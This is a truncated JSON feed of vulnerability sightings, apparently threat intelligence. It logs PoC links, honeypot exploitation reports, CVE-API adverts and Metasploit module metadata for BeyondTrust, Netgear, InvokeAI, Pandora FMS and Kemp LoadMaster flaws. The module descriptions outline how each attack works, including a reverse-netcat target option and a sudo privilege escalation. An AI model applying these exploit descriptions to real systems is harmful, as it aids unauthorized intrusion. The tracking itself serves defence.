"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/148785", "content": "Critical Alert: CVE-2024\u201312356 Command Injection Vulnerability in BeyondTrust RS & PRA\nhttps://medium.com/@wiretor/critical-alert-cve-2024-12356-command-injection-vulnerability-in-beyondtrust-rs-pra-6e8df2f63471?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T15:00:05.585012Z"}, {"uuid": "24396b74-ab3c-4d23-a519-fba82da7c403", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1207", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/131048", "content": "Understanding CVE-2024\u20131207: Critical SQL Injection Vulnerability in WordPress Booking Calendar PluginContinue reading on System Weakness \u00bb (https://systemweakness.com/cve-2024-1207-a-deep-dive-into-wordpress-plugin-vulnerability-3b12891813e6?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T23:00:04.849660Z"}, {"uuid": "02c3b8b0-3ba4-46a6-b8d2-58f8c5181922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1207", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/131047", "content": "CVE-2024\u20131207: A Deep Dive into WordPress Plugin Vulnerability\nhttps://systemweakness.com/cve-2024-1207-a-deep-dive-into-wordpress-plugin-vulnerability-3b12891813e6?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T23:00:04.893471Z"}, {"uuid": "39ed6903-e84d-4fa4-82b6-778a5d282c93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1207", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/131048", "content": "Understanding CVE-2024\u20131207: Critical SQL Injection Vulnerability in WordPress Booking Calendar PluginContinue reading on System Weakness \u00bb (https://systemweakness.com/cve-2024-1207-a-deep-dive-into-wordpress-plugin-vulnerability-3b12891813e6?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:00:09.372764Z"}, {"uuid": "ec42fb01-0aaf-47e9-b794-e51fa9d280c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1207", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/131047", "content": "CVE-2024\u20131207: A Deep Dive into WordPress Plugin Vulnerability\nhttps://systemweakness.com/cve-2024-1207-a-deep-dive-into-wordpress-plugin-vulnerability-3b12891813e6?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T00:00:09.420157Z"}, {"uuid": "e69ca5a6-fefc-416d-a887-bbba9c86237e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/149411", "content": "WIRE TOR\u200a\u2014\u200aThe Ethical Hacking ServicesContinue reading on Medium \u00bb (https://medium.com/@wiretor/cve-2024-12711-vulnerability-in-rsvp-and-event-management-plugin-2a0b374807e1?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:00:46.926190Z"}, {"uuid": "86a8ae45-dbdc-4a0d-9d10-61c25e498924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12711", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/149409", "content": "CVE-2024\u201312711: Vulnerability in RSVP and Event Management Plugin\nhttps://medium.com/@wiretor/cve-2024-12711-vulnerability-in-rsvp-and-event-management-plugin-2a0b374807e1?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T00:00:46.974692Z"}, {"uuid": "7d1c664f-2b1c-46de-9465-accffcdcef0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/148787", "content": "WIRE TOR\u200a\u2014\u200aThe Ethical Hacking ServicesContinue reading on Medium \u00bb (https://medium.com/@wiretor/critical-alert-cve-2024-12356-command-injection-vulnerability-in-beyondtrust-rs-pra-6e8df2f63471?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:00:46.046776Z"}, {"uuid": "8aaf1649-87d0-40bb-b6a5-9dcb1f262f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/148785", "content": "Critical Alert: CVE-2024\u201312356 Command Injection Vulnerability in BeyondTrust RS & PRA\nhttps://medium.com/@wiretor/critical-alert-cve-2024-12356-command-injection-vulnerability-in-beyondtrust-rs-pra-6e8df2f63471?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T00:00:46.099634Z"}, {"uuid": "ac9a76ec-5cc3-42d0-984c-faf7c92d06e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-03)", "content": "", "creation_timestamp": "2026-09-04T10:00:02.848757Z"}, {"uuid": "9a866ef2-92f9-4544-b1a6-28d7dbfaafd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-03)", "content": "", "creation_timestamp": "2026-09-04T10:00:09.808668Z"}, {"uuid": "88732033-b347-4835-9aa8-ab6ec4a0278f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-03)", "content": "", "creation_timestamp": "2026-09-04T10:15:02.742843Z"}, {"uuid": "76e86486-5cbb-48e0-8335-c42290127e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-03)", "content": "", "creation_timestamp": "2026-09-04T10:15:18.143434Z"}, {"uuid": "01974ee1-f105-4043-94c8-cfcb9a237ea6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3muow3j3ldp2j", "content": "Structured CVE data without the scraping grind. Pull vendor, exploit, and CPE fields in one JSON call:\n\ncurl -H \"Authorization: Bearer $KEY\" https://api.valtersit.com/cve/CVE-2024-1234\n\nMetered pricing, pay for what you use. Docs: https://www.valtersit.com/cve/pricing/", "creation_timestamp": "2026-09-04T12:00:17.193781Z"}, {"uuid": "bd267a29-6e51-44a0-8ae3-f243686d62d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117212657390918311", "content": "Structured CVE data without the scraping grind. Pull vendor, exploit, and CPE fields in one JSON call:\ncurl -H \"Authorization: Bearer $KEY\" https://api.valtersit.com/cve/CVE-2024-1234\nMetered pricing, pay for what you use. Docs: https://www.valtersit.com/cve/pricing/", "creation_timestamp": "2026-09-04T12:00:34.582225Z"}, {"uuid": "67613deb-eb39-485a-b8e8-5eaa030d6313", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mup6zalot72d", "content": "CVE data pipeline got bloated? Query CVE, vendor, and exploit intel with one call: curl https://api.valtersit.com/cve/CVE-2024-1234. Metered, no key overhead, built for devs. Docs at valtersit.com/cve/pricing/.", "creation_timestamp": "2026-09-04T14:40:05.891644Z"}, {"uuid": "44d9aeb9-e083-495d-ae30-723b6b7f993a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117213285813219507", "content": "CVE data pipeline got bloated? Query CVE, vendor, and exploit intel with one call: curl https://api.valtersit.com/cve/CVE-2024-1234. Metered, no key overhead, built for devs. Docs at valtersit.com/cve/pricing/.", "creation_timestamp": "2026-09-04T14:40:06.546137Z"}, {"uuid": "ca50a84e-c5d7-4de9-81ee-ce5da83da780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-04)", "content": "", "creation_timestamp": "2026-09-05T10:00:03.436515Z"}, {"uuid": "3f5355c9-e90b-47ee-9aa0-a699678985e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-04)", "content": "", "creation_timestamp": "2026-09-05T10:15:04.092356Z"}, {"uuid": "0b1480b8-f484-4a83-aff3-ca3f8655aa98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-04)", "content": "", "creation_timestamp": "2026-09-05T10:15:36.259099Z"}, {"uuid": "2a1101b1-a15e-45c7-af0a-511c3f93096b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12381", "type": "published-proof-of-concept", "source": "Telegram/E_WyzaOudgwaNXoA105LhIEanQUj5hipt6F_RZ98nQPfTHQ", "content": "", "creation_timestamp": "2026-09-05T13:00:05.225531Z"}, {"uuid": "1bb8f052-1907-495d-80d1-aaa75acfc6a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/GithubRedTeam/101253", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2024-12356\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a skraft9\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 15:46:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated RCE detector + RCA for BeyondTrust Remote Support / PRA (CVE-2024-12356 + CVE-2025-1094)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-05T19:00:02.729048Z"}, {"uuid": "fab78a25-44c8-4a7e-ba5a-7483791d1147", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101253", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2024-12356\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a skraft9\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-05 15:46:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated RCE detector + RCA for BeyondTrust Remote Support / PRA (CVE-2024-12356 + CVE-2025-1094)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-06T00:00:37.625163Z"}, {"uuid": "e3f55b77-7f3b-46ba-901e-6d85426c7bdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12381", "type": "published-proof-of-concept", "source": "Telegram/E_WyzaOudgwaNXoA105LhIEanQUj5hipt6F_RZ98nQPfTHQ", "content": "", "creation_timestamp": "2026-09-06T00:00:47.390293Z"}, {"uuid": "73fb9f65-bd83-46a5-970f-10d02baf18c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "creation_timestamp": "2026-09-06T10:00:03.278491Z"}, {"uuid": "00b81ebb-9c10-4439-bd18-fb8a45864229", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "creation_timestamp": "2026-09-06T10:15:04.088698Z"}, {"uuid": "0c863db5-ee40-47e2-bd1b-bc7e04e9ad71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "creation_timestamp": "2026-09-06T10:15:08.939685Z"}, {"uuid": "57e4b05c-8db2-4d48-ae04-9b6dfd19a34c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-06)", "content": "", "creation_timestamp": "2026-09-07T10:15:03.048329Z"}, {"uuid": "2cfc8578-d5fd-4854-9a78-76c6b81e2418", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-06)", "content": "", "creation_timestamp": "2026-09-07T10:15:10.275101Z"}, {"uuid": "5abfa190-6343-42e1-bd20-0f5c270c8d09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb", "content": "{\"aliases\": [], \"arch\": \"mipsbe\", \"author\": [\"Mumbai\", \"Robort Palerie \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an unauthenticated OS command execution vulneralbility\\n          in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and\\n          DGN2000v1 models.\", \"disclosure_date\": \"2013-06-05\", \"fullname\": \"exploit/linux/http/netgear_dgn1000_setup_unauth_exec\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:55:15 +0000\", \"name\": \"Netgear DGN1000 Setup.cgi Unauthenticated RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb\", \"platform\": \"Linux\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/netgear_dgn1000_setup_unauth_exec\", \"references\": [\"CVE-2024-12847\", \"EDB-25978\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Automatic\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:47.225135Z"}, {"uuid": "5748da02-add7-4f83-81df-861b0d0e3790", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"sfewer-r7\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote\\n          Access (PRA) and Remote Support (RS), with the privileges of the site user of the targeted BeyondTrust\\n          product site. This exploit targets PRA and RS versions 24.3.1 and below.\", \"disclosure_date\": \"2024-12-16\", \"fullname\": \"exploit/linux/http/beyondtrust_pra_rs_unauth_rce\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:54:55 +0000\", \"name\": \"BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/beyondtrust_pra_rs_unauth_rce.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/beyondtrust_pra_rs_unauth_rce\", \"references\": [\"CVE-2024-12356\", \"CVE-2025-1094\", \"URL-http://web.archive.org/web/20241226144006/https://www.beyondtrust.com/trust-center/security-advisories/bt24-10\", \"URL-https://www.postgresql.org/support/security/CVE-2025-1094/\", \"URL-https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"Default\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:24.705031Z"}, {"uuid": "930ce937-f626-45e3-ab63-1a3f99fa3e75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/invokeai_rce_cve_2024_12029.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"jackfromeast\", \"Takahiro Yokoyama\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"InvokeAI has a critical vulnerability leading to remote code execution in the /api/v2/models/install API through unsafe model deserialization.\\n          The API allows users to specify a model URL, which is downloaded and loaded server-side using torch.load without proper validation.\\n          This functionality allows attackers to embed malicious code in model files that execute upon loading.\", \"disclosure_date\": \"2025-02-07\", \"fullname\": \"exploit/linux/http/invokeai_rce_cve_2024_12029\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:54:55 +0000\", \"name\": \"InvokeAI RCE\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/invokeai_rce_cve_2024_12029.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/invokeai_rce_cve_2024_12029\", \"references\": [\"CVE-2024-12029\", \"URL-https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3\"], \"rport\": 9090, \"session_types\": false, \"targets\": [\"Linux Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:38.963890Z"}, {"uuid": "96fbb7ad-a085-4dde-94fb-f7be2f3d466a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_12971.rb", "content": "{\"aliases\": [], \"arch\": \"php, cmd\", \"author\": [\"h00die-gr3y \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"Pandora FMS is a monitoring solution that provides full observability for your organization's\\n          technology. This module exploits an command injection vulnerability in the `chromium-path` or\\n          `phantomjs-bin` directory setting at the application settings page of Pandora FMS.\\n          You need have admin access at the Pandora FMS Web application in order to execute this RCE.\\n          This access can be achieved by knowing the admin credentials to access the web application or\\n          leveraging a default password vulnerability in Pandora FMS that allows an attacker to access\\n          the Pandora FMS MySQL database, create a new admin user and gain administrative access to the\\n          Pandora FMS Web application. This attack can be remotely executed over the WAN as long as the\\n          MySQL services are exposed to the outside world.\\n          This issue affects Community, Free and Enterprise editions:\\n          - chromium-path: from v7.0NG.768 through <= v7.0NG.780\\n          - phantomjs-bin: from v7.0NG.724 through <= v7.0NG.767\\n\\n          Note: use target setting 2 \\\"Tiny Reverse Netcat Command\\\" for versions <= v7.0NG.738\", \"disclosure_date\": \"2025-03-17\", \"fullname\": \"exploit/linux/http/pandora_fms_auth_rce_cve_2024_12971\", \"is_install_path\": true, \"mod_time\": \"2026-07-25 19:22:12 +0000\", \"name\": \"Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_12971.rb\", \"platform\": \"Linux,PHP,Unix\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"linux/http/pandora_fms_auth_rce_cve_2024_12971\", \"references\": [\"CVE-2024-12971\", \"URL-https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/\", \"URL-https://attackerkb.com/topics/BJe14wkMYS/cve-2024-12971\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"PHP Command\", \"Unix/Linux Command\", \"Tiny Reverse Netcat Command (use THIS for versions <= v738)\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:50.457005Z"}, {"uuid": "833bf4a9-3232-4d77-8f3f-7db0b5cce187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Dave Yesland with Rhino Security Labs\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits an unauthenticated command injection vulnerability in\\n          Progress Kemp LoadMaster in the authorization header after vversion 7.2.48.1.\\n          The following versions are patched: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and\\n          7.2.48.10 (LTS).\", \"disclosure_date\": \"2024-03-19\", \"fullname\": \"exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:55:15 +0000\", \"name\": \"Kemp LoadMaster Unauthenticated Command Injection\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/progress_kemp_loadmaster_unauth_cmd_injection\", \"references\": [\"CVE-2024-1212\", \"URL-https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/\", \"URL-https://kemptechnologies.com/kemp-load-balancers\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"Automatic\", \"Do_Not_Prepend_Runonce_Code\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:52.608628Z"}, {"uuid": "0bf91035-6647-42f9-90e4-b1a9c8599683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"x86, x64, cmd\", \"author\": [\"Dave Yesland with Rhino Security Labs\", \"bwatters-r7\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module abuses a feature of the sudo command on Progress Kemp\\n          LoadMaster.  Certain binary files are allowed to automatically elevate\\n          with the sudo command.  This is based off of the file name.  Some files\\n          have this permission are not write-protected from the default 'bal' user.\\n          As such, if the file is overwritten with an arbitrary file, it will still\\n          auto-elevate.  This module overwrites the /bin/loadkeys file with another\\n          executable.\", \"disclosure_date\": \"2024-03-19\", \"fullname\": \"exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024\", \"is_install_path\": true, \"mod_time\": \"2025-10-06 17:15:11 +0000\", \"name\": \"Kemp LoadMaster Local sudo privilege escalation\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/local/progress_kemp_loadmaster_sudo_privesc_2024\", \"references\": [\"CVE-2024-1212\", \"URL-https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/\", \"URL-https://kemptechnologies.com/kemp-load-balancers\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"Dropper\", \"Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:11.362414Z"}, {"uuid": "d03064bc-a62a-4da1-b80a-081b04449318", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-07)", "content": "", "creation_timestamp": "2026-09-08T10:00:03.769901Z"}, {"uuid": "9b461c3c-9e2e-44b2-97cf-b7b5ce458bc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-08)", "content": "", "creation_timestamp": "2026-09-09T10:00:13.798929Z"}, {"uuid": "aa112dd1-5bd6-4e0c-9f11-020860438f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-07)", "content": "", "creation_timestamp": "2026-09-08T10:15:03.863317Z"}, {"uuid": 